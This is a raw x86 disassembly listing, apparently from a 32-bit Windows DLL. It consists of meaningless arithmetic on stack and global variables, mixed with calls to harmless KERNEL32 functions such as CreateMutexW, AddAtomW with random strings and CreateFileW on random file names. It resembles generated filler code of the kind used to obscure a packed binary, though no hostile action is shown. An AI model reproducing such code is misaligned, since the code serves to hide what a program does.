mov eax, dword [ebp - 0x3974]
movzx ecx, byte [eax]
sar edx, cl
mov ecx, dword [ebp - 0x45d8]
mov byte [ecx], dl
mov edx, dword [ebp - 0x4324]
movsx eax, word [edx]
movsx ecx, word [ebp - 0x1390]
add eax, ecx
mov word [ebp - 0x1348], ax
lea edx, [ebp - 0x194]
mov dword [0x100bbddc], edx
mov eax, dword [ebp - 0x33dc]
movzx ecx, word [eax]
movzx edx, word [ebp - 0x1454]
and ecx, edx
mov word [ebp - 0xc08], cx
mov eax, dword [0x100b9530]
mov dword [ebp - 0x5354], eax
mov ecx, dword [0x100bb740]
sub ecx, dword [ebp - 0x2cc0]
mov edx, dword [0x100bb12c]
mov dword [edx], ecx
movzx eax, byte [ebp - 0xb6]
movzx ecx, byte [ebp - 0x4a]
shl eax, cl
mov byte [ebp - 0x226], al
movsx ecx, byte [ebp - 0x280]
mov edx, dword [0x100bb6a8]
movsx eax, byte [edx]
or ecx, eax
mov edx, dword [ebp - 0x3c9c]
mov byte [edx], cl
mov eax, dword [ebp - 0x418c]
movsx edx, word [eax]
movsx ecx, word [ebp - 0x1768]
sar edx, cl
mov word [0x100b74c4], dx
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [0x100bbde0], eax
mov dword [ebp - 0x5358], 0x100bbb38
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebp - 0x5320], eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x100bbde4], eax
mov eax, dword [ebp - 0x43f8]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x308c]
mov dword [ebp - 0x315c], ecx
push str.HROqXFt9548TC
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x1528], ax
movsx edx, byte [0x100b7316]
movsx eax, byte [0x100b733e]
and edx, eax
mov ecx, dword [0x100ba364]
mov byte [ecx], dl
lea edx, [ebp - 0x3d]
mov dword [ebp - 0x535c], edx
mov eax, dword [ebp - 0x3aac]
mov ecx, dword [ebp - 0x41a0]
mov edx, dword [eax]
mov ecx, dword [ecx]
shl edx, cl
mov eax, dword [ebp - 0x4b5c]
mov dword [eax], edx
push 0x9ea
push 0
push 0x100bb5b0
push 0
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [ebp - 0x5360], eax
movzx ecx, word [0x100ba3f4]
mov edx, dword [ebp - 0x36f0]
movzx eax, word [edx]
xor ecx, eax
mov edx, dword [0x100ba9a0]
mov word [edx], cx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x100bbde8], eax
push 0x3827
push 0x3582
push 0x19c4
push 0x1f97
mov eax, dword [0x100bbdbc]
push eax
call dword [sym.imp.KERNEL32.dll_LockFile]
mov dword [ebp - 0x40dc], eax
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [0x100ba834], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x5364], eax
mov ecx, dword [0x100b9880]
movsx edx, word [ecx]
mov eax, dword [ebp - 0x3a30]
movsx ecx, word [eax]
xor edx, ecx
mov word [ebp - 0xaf8], dx
mov edx, dword [ebp - 0x3910]
mov eax, dword [edx]
mov dword [ebp - 0x5368], eax
push 0
push 0x200
push 3
push 0
push 4
push 0x40000000
push str.l75VoiDmH2eQj57rwA624kG7JwQoH3IVoEc
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x536c], eax
mov cl, byte [ebp - 0x2a8]
mov byte [0x100b860b], cl
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x100bbdec], eax
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [0x100bbdf0], eax
movzx edx, byte [0x100b82e3]
mov eax, dword [ebp - 0x4790]
movzx ecx, byte [eax]
add edx, ecx
mov byte [ebp - 0xea], dl
lea edx, [ebp - 0xaf9c]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
movzx eax, word [0x100b979c]
movzx ecx, word [ebp - 0x1404]
sar eax, cl
mov word [ebp - 0x10cc], ax
mov ecx, dword [ebp - 0x3dd0]
mov dx, word [ecx]
mov word [0x100bbdf4], dx
mov eax, dword [0x100b96d4]
mov ecx, dword [eax]
or ecx, dword [ebp - 0x3188]
mov dword [ebp - 0x3318], ecx
lea edx, [ebp - 0xa3c]
mov dword [ebp - 0x5370], edx
push str.VLHYL5_f_h3CJnc
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x18ac], ax
mov eax, dword [0x100b9e58]
mov ecx, dword [ebp - 0x4ff0]
and ecx, dword [eax]
mov dword [0x100ba888], ecx
mov edx, dword [0x100ba264]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x3c54]
movsx edx, byte [ecx]
xor eax, edx
mov byte [ebp - 0x2b3], al
lea eax, [ebp - 0x273]
mov dword [0x100bbdf8], eax
mov ecx, dword [0x100bb254]
movzx eax, word [ecx]
mov edx, dword [0x100ba898]
movzx ecx, word [edx]
cdq
idiv ecx
mov word [ebp - 0x14e0], ax
mov edx, dword [ebp - 0x4b84]
mov dword [ebp - 0x5374], edx
mov eax, dword [ebp - 0x3fe0]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x38e4]
mov dword [0x100ba2b0], ecx
mov edx, dword [ebp - 0x45a8]
mov ax, word [edx]
mov word [ebp - 0x18b0], ax
movsx edx, byte [ebp - 0x278]
movsx ecx, byte [0x100b7ff2]
shl edx, cl
mov byte [ebp - 0x22d], dl
movzx eax, byte [ebp - 0x233]
mov ecx, dword [ebp - 0x3940]
movzx edx, byte [ecx]
add eax, edx
mov byte [0x100b734b], al
push 0
push 0x1ac9
push 0x1bff
push 0x1768
push 2
mov eax, dword [0x100bae9c]
push eax
call dword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [ebp - 0x3fc0], eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x100bbdfc], eax
movsx edx, byte [0x100b716a]
mov eax, dword [ebp - 0x5054]
movsx ecx, byte [eax]
sar edx, cl
mov ecx, dword [ebp - 0x431c]
mov byte [ecx], dl
movzx edx, word [0x100b9c58]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x18b4], ax
mov dword [ebp - 0x5378], 0x100b7230
mov eax, dword [ebp - 0x421c]
movzx ecx, word [eax]
movzx edx, word [ebp - 0x16ac]
and ecx, edx
mov word [0x100b71d8], cx
mov eax, dword [ebp - 0x4e38]
movsx ecx, word [eax]
mov edx, dword [ebp - 0x503c]
movsx eax, word [edx]
imul ecx, eax
mov edx, dword [ebp - 0x4348]
mov word [edx], cx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x100bbe00], eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [ebp - 0x42c4], eax
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [0x100ba1c8], eax
mov eax, dword [0x100bb8f0]
mov ecx, dword [ebp - 0x2cb0]
or ecx, dword [eax]
mov dword [ebp - 0x2dc4], ecx
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [ebp - 0x537c], eax
mov edx, dword [ebp - 0x41f0]
push edx
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [0x100bb370], eax
mov eax, dword [ebp - 0x520c]
mov cl, byte [eax]
mov byte [0x100b863e], cl
mov edx, dword [0x100bb9dc]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x2be]
xor eax, ecx
mov byte [ebp - 0x2b8], al
mov dword [ebp - 0x5380], 0x100b9ebc
movzx edx, word [0x100b7268]
mov eax, dword [ebp - 0x3814]
movzx ecx, word [eax]
xor edx, ecx
mov eax, dword [0x100ba020]
mov word [eax], dx
mov ecx, dword [ebp - 0x4cac]
movsx edx, word [ecx]
mov eax, dword [ebp - 0x384c]
movsx ecx, word [eax]
add edx, ecx
mov word [ebp - 0x146c], dx
mov edx, dword [ebp - 0x3ba4]
movzx eax, word [edx]
movzx ecx, word [ebp - 0xfd4]
shl eax, cl
mov word [ebp - 0x1090], ax
movzx ecx, byte [ebp - 0x1e1]
movzx edx, byte [ebp - 0x30e]
and ecx, edx
mov eax, dword [0x100ba814]
mov byte [eax], cl
mov ecx, dword [ebp - 0x4f2c]
mov edx, dword [ebp - 0x43c4]
mov eax, dword [ecx]
mov ecx, dword [edx]
shr eax, cl
mov dword [ebp - 0x3064], eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [ebp - 0x5384], eax
push 0x100bbe04
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [ebp - 0x524c], eax
lea ecx, [ebp - 0x2b2c]
mov dword [ebp - 0x5388], ecx
lea edx, [ebp - 0x280]
mov dword [0x100bbe28], edx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x100bbe2c], eax
lea eax, [ebp - 0xca4]
mov dword [ebp - 0x538c], eax
movsx ecx, word [ebp - 0xa5c]
mov edx, dword [0x100ba6d0]
movsx eax, word [edx]
xor ecx, eax
mov word [ebp - 0x1834], cx
push 0
push 0x200
push 3
push 0
push 2
push 0x40000000
push str.hrcBSgw8EMLCj6aU
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x5390], eax
movsx eax, byte [ebp - 0x320]
mov ecx, dword [ebp - 0x4dd0]
movsx ecx, byte [ecx]
cdq
idiv ecx
mov edx, dword [0x100baed0]
mov byte [edx], al
movzx eax, word [0x100b9ee0]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x16a4], ax
mov ecx, dword [ebp - 0x50fc]
mov dl, byte [ecx]
mov byte [ebp - 0x32a], dl
mov eax, dword [ebp - 0x3cb8]
mov ecx, dword [0x100b9540]
add ecx, dword [eax]
mov dword [ebp - 0x4bc0], ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x100bbe30], eax
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [ebp - 0x5394], eax
lea edx, [ebp - 0x4da8]
mov dword [0x100bbe34], edx
lea eax, [ebp - 0x315]
mov dword [ebp - 0x5398], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [0x100bb560], eax
movzx ecx, word [ebp - 0x1428]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100bb6b8], ax
push str.X7XPM5_Whx7dG3P
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100bbe38], ax
lea edx, [ebp - 0x9ee0]
push edx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov eax, dword [0x100b9c30]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x33dc]
movzx eax, word [edx]
or ecx, eax
mov edx, dword [ebp - 0x4bd0]
mov word [edx], cx
lea eax, [ebp - 0xbec]
mov dword [0x100bbe3c], eax
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [ebp - 0x539c], eax
mov ecx, dword [0x100bb400]
movzx edx, byte [ecx]
mov eax, dword [0x100ba394]
movzx ecx, byte [eax]
and edx, ecx
mov eax, dword [ebp - 0x4eac]
mov byte [eax], dl
lea ecx, [ebp - 0x4fb0]
mov dword [ebp - 0x53a0], ecx
mov edx, dword [0x100bb780]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x17b4]
imul eax, ecx
mov edx, dword [0x100bb9c4]
mov word [edx], ax
mov eax, dword [ebp - 0x37ec]
mov dword [ebp - 0x53a4], eax
mov ecx, dword [ebp - 0x4588]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x4b20]
movsx ecx, byte [eax]
sub edx, ecx
mov eax, dword [ebp - 0x3a38]
mov byte [eax], dl
mov ecx, dword [ebp - 0x3f0c]
movsx edx, word [ecx]
mov eax, dword [ebp - 0x4bac]
movsx ecx, word [eax]
shl edx, cl
mov ecx, dword [0x100bb318]
mov word [ecx], dx
movzx edx, byte [0x100b824b]
mov eax, dword [ebp - 0x3524]
movzx ecx, byte [eax]
sar edx, cl
mov byte [ebp - 0x70], dl
mov ecx, dword [ebp - 0x52e4]
mov edx, dword [ecx]
xor edx, dword [ebp - 0x2de4]
mov dword [ebp - 0x2ea8], edx
mov eax, dword [0x100bb524]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x49b0]
movsx eax, byte [edx]
add ecx, eax
mov byte [0x100b735e], cl
push 0x100bbe40
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov ecx, dword [0x100bb424]
push ecx
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
movzx edx, word [0x100b72bc]
mov eax, dword [ebp - 0x519c]
movzx ecx, word [eax]
and edx, ecx
mov eax, dword [ebp - 0x40ac]
mov word [eax], dx
lea ecx, [ebp - 0xaea0]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
lea edx, [ebp - 0x14a8]
mov dword [ebp - 0x53a8], edx
mov eax, dword [ebp - 0x416c]
imul ecx, dword [eax], 0x6ed5
mov edx, dword [0x100ba3b8]
mov dword [edx], ecx
lea eax, [ebp - 0x16c8]
mov dword [ebp - 0x53ac], eax
mov ecx, dword [ebp - 0x3e34]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0x25e]
or edx, eax
mov ecx, dword [ebp - 0x48b0]
mov byte [ecx], dl
lea edx, [ebp - 0x2bcc]
mov dword [0x100bbe58], edx
movsx eax, byte [ebp - 0x1b9]
mov ecx, dword [0x100baa58]
movsx ecx, byte [ecx]
cdq
idiv ecx
mov byte [ebp - 0x65], al
mov edx, dword [0x100baf58]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x4194]
movzx ecx, word [ecx]
shl eax, cl
mov edx, dword [ebp - 0x37fc]
mov word [edx], ax
mov eax, dword [0x100bab68]
movzx edx, word [eax]
movzx ecx, word [ebp - 0xd28]
sar edx, cl
mov word [0x100bacbc], dx
movsx eax, byte [0x100b7242]
movsx ecx, byte [ebp - 0x69]
add eax, ecx
mov byte [ebp - 0xf7], al
lea edx, [ebp - 0x3604]
mov dword [0x100bbe5c], edx
mov ax, word [0x100b74bc]
mov word [ebp - 0x18b8], ax
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [0x100b96ac], eax
movzx ecx, byte [ebp - 0x299]
mov edx, dword [ebp - 0x3618]
movzx eax, byte [edx]
and ecx, eax
mov byte [ebp - 0x2b7], cl
mov ecx, dword [ebp - 0x4de0]
mov edx, dword [ecx]
xor edx, dword [0x100ba3a0]
mov eax, dword [0x100bb088]
mov dword [eax], edx
push str.Vn5jOGI_T
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x18bc], ax
movzx ecx, word [ebp - 0x1694]
movzx edx, word [ebp - 0x8a8]
xor ecx, edx
mov word [ebp - 0xec8], cx
push 0
push 8
push 1
push 0
push 1
push 0x80000000
push str.PpP97rSSKm_smpJ2DiYJ
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x100bbe60], eax
mov eax, dword [ebp - 0x5250]
add eax, dword [0x100bb11c]
mov ecx, dword [ebp - 0x4a2c]
mov dword [ecx], eax
push str.sDuJuK_ATboSrcrZx
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x18c0], ax
push 0x869
push 0
lea edx, [ebp - 0x51b4]
push edx
push 1
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [0x100b9ea4], eax
lea eax, [ebp - 0x1788]
mov dword [0x100bbe64], eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [ebp - 0x53b0], eax
push 0
push 0x80
push 5
push 0
push 8
push 0x40000000
push str.J8SA8QjFL8VouWYWD1TLyET0
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x100bbe68], eax
mov ecx, dword [ebp - 0x2e64]
mov dword [ebp - 0x53b4], ecx
lea edx, [ebp - 0x2aa]
mov dword [ebp - 0x53b8], edx
lea eax, [ebp - 0xa0a8]
push eax
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [0x100bbe6c], eax
mov ecx, dword [ebp - 0x37e4]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x3f28]
movsx ecx, byte [eax]
sub edx, ecx
mov byte [str.mmO], dl
mov edx, dword [0x100bb1e4]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x3a58]
movsx edx, byte [ecx]
or eax, edx
mov byte [ebp - 0xf1], al
mov eax, dword [ebp - 0x4abc]
mov dword [ebp - 0x53bc], eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [ebp - 0x53c0], eax
mov dword [0x100bbe70], 0x100b729f
movsx edx, word [ebp - 0x14e4]
movsx ecx, word [ebp - 0xac4]
shl edx, cl
mov word [ebp - 0x17a4], dx
push 0x100b9d94
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
movzx eax, word [0x100b7228]
movzx ecx, word [0x100b732c]
sar eax, cl
mov word [ebp - 0x798], ax
mov ecx, dword [ebp - 0x3b1c]
mov edx, dword [ebp - 0x468c]
and edx, dword [ecx]
mov eax, dword [0x100b958c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x3e00]
push ecx
call dword [sym.imp.KERNEL32.dll_ResetEvent]
push 0
push 4
push 0
push 0
push 8
push 0x80000000
push str.ElwEVlmMDA9
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x100bbe74], eax
mov edx, dword [0x100b9b24]
movsx eax, byte [edx]
movsx ecx, byte [0x100b72e7]
xor eax, ecx
mov edx, dword [ebp - 0x4914]
mov byte [edx], al
mov eax, dword [ebp - 0x3910]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x2e58]
mov edx, dword [ebp - 0x4410]
mov dword [edx], ecx
mov eax, dword [0x100ba380]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x334c]
movzx eax, byte [edx]
and ecx, eax
mov byte [0x100b735f], cl
mov cx, word [ebp - 0x80c]
mov word [ebp - 0x18c4], cx
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebp - 0x3364], eax
movzx edx, word [0x100bb6b0]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100ba498], ax
push 0
push 0x100
push 1
push 0
push 8
push 0x40000000
push str.Ot_tl8YNPM8ALdq
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x53c4], eax
lea eax, [ebp - 0xb5a8]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
push str.T5SC
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100bbe78], ax
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x3ce0], eax
lea ecx, [ebp - 0xf2c]
mov dword [ebp - 0x53c8], ecx
mov edx, dword [0x100bba60]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x4f88]
movsx ecx, byte [ecx]
sar eax, cl
mov edx, dword [0x100babd4]
mov byte [edx], al
mov eax, dword [ebp - 0x3a10]
movzx edx, word [eax]
movzx ecx, word [ebp - 0x9e4]
shl edx, cl
mov word [ebp - 0xb90], dx
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [0x100bbe7c], eax
mov eax, dword [0x100ba708]
mov ecx, dword [ebp - 0x3b1c]
mov edx, dword [eax]
or edx, dword [ecx]
mov dword [ebp - 0x4c84], edx
mov eax, dword [ebp - 0x5298]
mov ecx, dword [eax]
mov dword [0x100bbe80], ecx
lea edx, [ebp - 0x2ee]
mov dword [ebp - 0x53cc], edx
movsx eax, word [ebp - 0x169c]
mov ecx, dword [ebp - 0x39b8]
movsx edx, word [ecx]
xor eax, edx
mov word [ebp - 0xb34], ax
movsx eax, byte [0x100b71eb]
movsx ecx, byte [ebp - 0x234]
add eax, ecx
mov edx, dword [0x100bbd0c]
mov byte [edx], al
movzx eax, word [ebp - 0x4f4]
movzx ecx, word [ebp - 0x14a0]
and eax, ecx
mov word [ebp - 0x108c], ax
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [ebp - 0x53d0], eax
mov edx, dword [0x100ba868]
mov eax, dword [edx]
mov dword [ebp - 0x53d4], eax
push 0xe06
push 0x1543
push 0x2469
push 0xe4b
mov ecx, dword [0x100babb0]
push ecx
call dword [sym.imp.KERNEL32.dll_LockFile]
mov dword [ebp - 0x4dd8], eax
lea edx, [ebp - 0x3044]
mov dword [0x100bbe84], edx
mov eax, dword [ebp - 0x44fc]
movzx edx, byte [eax]
movzx ecx, byte [ebp - 0x2ac]
sar edx, cl
mov eax, dword [ebp - 0x53b8]
mov byte [eax], dl
movsx ecx, byte [ebp - 0x320]
mov edx, dword [ebp - 0x46cc]
movsx eax, byte [edx]
xor ecx, eax
mov byte [ebp - 0x1c2], cl
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x100bbe88], eax
mov cx, word [0x100bab04]
mov word [0x100bbe8c], cx
mov edx, dword [ebp - 0x4be8]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x538c]
movzx edx, word [ecx]
sub eax, edx
mov ecx, dword [ebp - 0x4b3c]
mov word [ecx], ax
mov edx, dword [ebp - 0x3d64]
mov eax, dword [edx]
mov dword [ebp - 0x53d8], eax
mov ecx, dword [ebp - 0x383c]
movsx edx, byte [ecx]
mov eax, dword [0x100ba714]
movsx ecx, byte [eax]
shl edx, cl
mov byte [0x100b7183], dl
mov ecx, dword [ebp - 0x3884]
movzx edx, byte [ecx]
mov eax, dword [0x100bad10]
movzx ecx, byte [eax]
or edx, ecx
mov eax, dword [ebp - 0x4a98]
mov byte [eax], dl
mov ecx, dword [ebp - 0x3860]
mov edx, dword [ecx]
add edx, dword [0x100b725c]
mov dword [ebp - 0x2ccc], edx
movzx eax, word [ebp - 0x1324]
mov ecx, dword [ebp - 0x41d8]
movzx edx, word [ecx]
and eax, edx
mov word [0x100ba330], ax
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [ebp - 0x4818], eax
movsx eax, word [ebp - 0x1390]
mov ecx, dword [0x100ba870]
movsx ecx, word [ecx]
sar eax, cl
mov edx, dword [ebp - 0x4324]
mov word [edx], ax
mov eax, dword [ebp - 0x4d14]
mov ecx, dword [ebp - 0x4b64]
mov edx, dword [eax]
xor edx, dword [ecx]
mov dword [ebp - 0x2d10], edx
mov eax, dword [ebp - 0x39d0]
movsx edx, byte [eax]
movsx ecx, byte [ebp - 0x11f]
shl edx, cl
mov byte [0x100b7362], dl
mov dword [ebp - 0x53dc], 0x100b7243
push 0
push 0xc5
push 0x353b
push 0xc85
push 2
mov eax, dword [0x100bb8a4]
push eax
call dword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [0x100b9d38], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x53e0], eax
mov ecx, dword [ebp - 0x46a8]
movzx edx, word [ecx]
movzx eax, word [ebp - 0x14e0]
add edx, eax
mov ecx, dword [ebp - 0x4e78]
mov word [ecx], dx
mov edx, dword [ebp - 0x470c]
movzx eax, word [edx]
movzx ecx, word [0x100b94f8]
and eax, ecx
mov edx, dword [0x100bbc88]
mov word [edx], ax
mov eax, dword [ebp - 0x50f8]
mov ecx, dword [eax]
or ecx, dword [ebp - 0x2f84]
mov dword [ebp - 0x32ec], ecx
mov dx, word [ebp - 0x1270]
mov word [ebp - 0x18c8], dx
lea eax, [ebp - 0x4314]
mov dword [0x100bbe90], eax
push str.9xnGKHBESz
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100bbe94], ax
push 0
push 0x10
push 2
push 0
push 8
push 0xc0000000
push str.2Wwlvx0UDVyfUKKBpKW1
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x53e4], eax
mov ecx, dword [ebp - 0x4094]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x4668]
movsx ecx, byte [eax]
xor edx, ecx
mov eax, dword [ebp - 0x486c]
mov byte [eax], dl
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebp - 0x49c0], eax
mov ecx, dword [0x100ba678]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x3884]
movzx ecx, byte [eax]
sar edx, cl
mov ecx, dword [0x100bb6c8]
mov byte [ecx], dl
mov edx, dword [ebp - 0x4fb4]
movzx eax, word [edx]
movzx ecx, word [ebp - 0xd50]
cdq
idiv ecx
mov edx, dword [ebp - 0x5008]
mov word [edx], ax
push str.K0_COBVeF.HntoW.3n
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100bbe98], ax
lea eax, [ebp - 0x31c8]
mov dword [ebp - 0x53e8], eax
mov ecx, dword [0x100ba468]
add ecx, dword [ebp - 0x2b78]
mov dword [0x100b74c8], ecx
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [0x100b98b4], eax
lea edx, [ebp - 0x11e4]
mov dword [ebp - 0x53ec], edx
movsx eax, byte [ebp - 0x1ab]
movsx ecx, byte [ebp - 0x1b9]
and eax, ecx
mov edx, dword [ebp - 0x4094]
mov byte [edx], al
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [ebp - 0x3464], eax
mov al, byte [ebp - 0x231]
mov byte [0x100b863f], al
lea ecx, [ebp - 0xb5cc]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
movsx edx, byte [ebp - 0xc1]
movsx eax, byte [ebp - 0x2eb]
sub edx, eax
mov ecx, dword [ebp - 0x4cf8]
mov byte [ecx], dl
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [0x100bbe9c], eax
mov edx, dword [0x100ba6c8]
mov dword [ebp - 0x53f0], edx
push 0
push 0x100bb948
mov eax, dword [ebp - 0x9908]
push eax
mov ecx, dword [ebp - 0x990c]
push ecx
mov edx, dword [0x100b95e8]
push edx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [ebp - 0x485c], eax
mov eax, dword [ebp - 0x36e4]
movzx edx, word [eax]
mov eax, dword [ebp - 0x4e30]
movzx ecx, word [eax]
shl edx, cl
mov ecx, dword [0x100bab68]
mov word [ecx], dx
movsx edx, word [0x100bb454]
imul eax, edx, 0x11f
mov ecx, dword [ebp - 0x35bc]
mov word [ecx], ax
mov eax, dword [ebp - 0x2ba4]
xor edx, edx
div dword [ebp - 0x4e2c]
mov dword [ebp - 0x3124], eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x100bbea0], eax
lea edx, [ebp - 0x2cc]
mov dword [0x100bbea4], edx
lea eax, [ebp - 0xa090]
push eax
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [0x100bad60], eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [ebp - 0x53f4], eax
mov ecx, dword [ebp - 0x4ae4]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 0x104]
or edx, eax
mov byte [ebp - 0x68], dl
lea ecx, [ebp - 0x3958]
mov dword [ebp - 0x53f8], ecx
movzx edx, word [0x100bb4a8]
mov eax, dword [ebp - 0x4d28]
movzx ecx, word [eax]
sar edx, cl
mov word [0x100bbd94], dx
mov ecx, dword [ebp - 0x37f0]
movsx edx, word [ecx]
movsx eax, word [ebp - 0x155c]
add edx, eax
mov word [ebp - 0xe74], dx
push 0x1d2a
push 0
push 0x100baa54
push 0
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [ebp - 0x53fc], eax
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [0x100bbea8], eax
movzx ecx, word [ebp - 0xc24]
movzx edx, word [ebp - 0xf60]
and ecx, edx
mov word [ebp - 0x53c], cx
mov dword [0x100bbeac], 0x100b7222
mov eax, dword [ebp - 0x4100]
mov ecx, dword [ebp - 0x4c64]
xor ecx, dword [eax]
mov dword [ebp - 0x30c0], ecx
lea edx, [ebp - 0x3790]
mov dword [ebp - 0x5400], edx
mov eax, dword [ebp - 0x4d50]
movsx edx, byte [eax]
mov eax, dword [ebp - 0x3a90]
movsx ecx, byte [eax]
shl edx, cl
mov ecx, dword [0x100bb66c]
mov byte [ecx], dl
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebp - 0x43d8], eax
mov edx, dword [ebp - 0x3f78]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x17a8]
xor eax, ecx
mov word [ebp - 0xc64], ax
push 0
push 2
push 3
push 0
push 8
push 0xc0000000
push str.Y6qAaZTogCJitwTAey7RR9NPoa
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x5404], eax
mov dx, word [ebp - 0x1658]
mov word [ebp - 0x18cc], dx
mov eax, dword [ebp - 0x39d0]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x383c]
movsx eax, byte [edx]
add ecx, eax
mov byte [0x100b7157], cl
mov ecx, dword [ebp - 0x45a4]
movzx edx, byte [ecx]
movzx ecx, byte [ebp - 0x279]
sar edx, cl
mov byte [ebp - 0x31d], dl
mov dword [ebp - 0x5408], 0x100ba56c
mov eax, dword [ebp - 0x2d88]
mov dword [0x100bbeb0], eax
